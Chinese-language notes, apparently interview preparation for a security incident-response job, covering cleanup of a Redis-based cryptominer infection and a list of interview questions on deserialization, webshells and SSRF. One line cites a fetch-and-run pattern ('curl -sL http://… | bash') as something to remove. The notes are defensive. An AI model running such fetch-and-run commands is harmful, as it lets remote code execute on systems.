网络连接: netstat -antlp 发现服务器与外部可疑矿池IP(如 xmr-eu1.nanopool.org)有连接。
检查发现Redis配置未设置密码,且允许公网访问,攻击者通过写入定时任务(crontab)下载并执行XMRig脚本。
攻击者通常会修改 crontab 以实现自动下载和运行
检查定时任务:crontab -l 以及检查 /etc/crontab、/etc/cron.d/、/var/spool/cron/
删除可疑的下载脚本(如 curl -sL http://… | bash)
检查系统服务:查看 /etc/systemd/system/ 下是否有新创建的可疑服务文件
应急处置:
隔离:
修改Redis配置 protected-mode yes
redis.conf 中配置 requirepass your_strong_password
修改默认端口6379
Redis 仅监听内网或特定受信任 IP,严禁暴露在公网
确保 Redis 以独立低权限用户运行,严禁用 root 启动
清理:
杀掉挖矿进程,删除 /var/spool/cron/ 下的非法定时任务。
清理文件与锁定检查 /tmp/、/var/tmp/、/dev/shm/ 等目录下的可疑执行文件(常见名称如 config.json、xmrig。
chattr +i 锁定自身。需先运行 chattr -i <文件名> 才能删除
检查 /root/.ssh/authorized_keys 是否被植入后门。
Redis 写入了 SSH 公钥:检查 /root/.ssh/authorized_keys 文件。删除不明公钥
矿池地址:通过 netstat -antp 记录木马连接的远程 IP,可以在 微步在线 等平台查询其是否为已知矿池
修复:
设置密码:在 redis.conf 中配置 requirepass your_strong_password。
绑定 IP:修改 bind 127.0.0.1,确保 Redis 仅监听内网或特定受信任 IP,严禁暴露在公网。低权限运行:确保 Redis 以独立低权限用户(如 redis 用户)运行,严禁用 root 启动。
修改默认端口:将 6379 修改为其他不常用端口以避开简单的全网扫描
19点-20点 面试20分钟左右
项目内容:看安全设备告警,做应急,渗透,互联网资产收集
接触过哪些安全设备
拿漏洞举例,有告警如何判断攻击是否成功
fastjson反序列化的原理,告警特征,判断是否攻击成功,讲一下不出网的情况
shiro反序列化的攻击特征
告警降噪
详细应急过程 矿脚本杀不掉的情况如何处理
webshell应急响应
a公网服务,b和公网一个段不出网,告警发现a攻击b,但是a上面没有发现后门,是什么情况
如何处理内存马
告警事件处理流程
渗透的时候挖了哪些漏洞
给你一个登录页面测哪些内容
ssrf原理,出现在什么地方,绕过,防护
资产测绘收集哪些信息
webshell的流量特征